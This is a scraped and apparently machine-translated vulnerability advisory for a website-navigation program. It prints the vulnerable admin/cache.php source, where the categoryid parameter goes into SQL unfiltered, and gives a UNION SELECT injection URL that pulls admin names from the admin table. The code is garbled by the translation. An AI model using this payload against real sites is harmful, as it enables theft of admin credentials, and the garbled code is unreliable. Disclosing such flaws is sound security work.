Corwe web site navigation SQL injection vulnerability and repair solution

Source: Internet
Author: User

Mind

Affected Versions: Latest
Http://www.kewei8.com

Vulnerability Type: SQL Injection
Vulnerability description:

Take a few minutes to find the vulnerability.
The web site navigation is the same as the program file in the box navigation. The interface is different.
Classic dialogue... view code...
Admin/cache. php

<? Php session_start (); set_time_limit (0); error_reporting (E_ALL | E_NOTICE); define (ROOT, dirname ($ _ SERVER [SCRIPT_FILENAME]). /); require_once ROOT. include/smarty_inc.php; require_once ROOT. include/mysql_inc.php; require_once ROOT. include/config_inc.php; $ db = new db_mysql (); $ db-> connect ($ dbhost, $ dbuser, $ dbpwd, $ dbname); $ type =! Empty ($ _ GET [type])? Trim ($ _ GET [type]): ""; // prelude... $ DefaultSkin = $ db-> select ("SELECT * FROM '". $ dbprefix. "_ option 'where 'name' = DefaultSkin"); $ DefaultSkin = $ DefaultSkin [0] [Value]; if ($ type = "category") {$ categoryid =! Empty ($ _ GET [categoryid])? Trim ($ _ GET [categoryid]): ""; // No filter .......... $ temp = $ db-> select ("SELECT * FROM '". $ dbprefix. "_ category 'where'id' = ". $ categoryid); // It's dead here ............ $ Templates-> assign ("name", $ temp [0] [Name]); $ templates-> assign ("id", $ temp [0] [ID]); $ templates-> display (ROOT. "templates /". $ defaskskin. "/category. tpl ");} else {$ templates-> display (ROOT. "templates /". $ defaskskin. "/index. tpl ") ;}?> A classic injection vulnerability ....
 

Injection test:

Http: // 127.0.0.1/admin/cache. php? Type = category & categoryid = 1% 20and % 201 = 2% 20 union % 20 select %, 10, Name % 20 from % 20kw_admin

Solution: Filter and filter

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.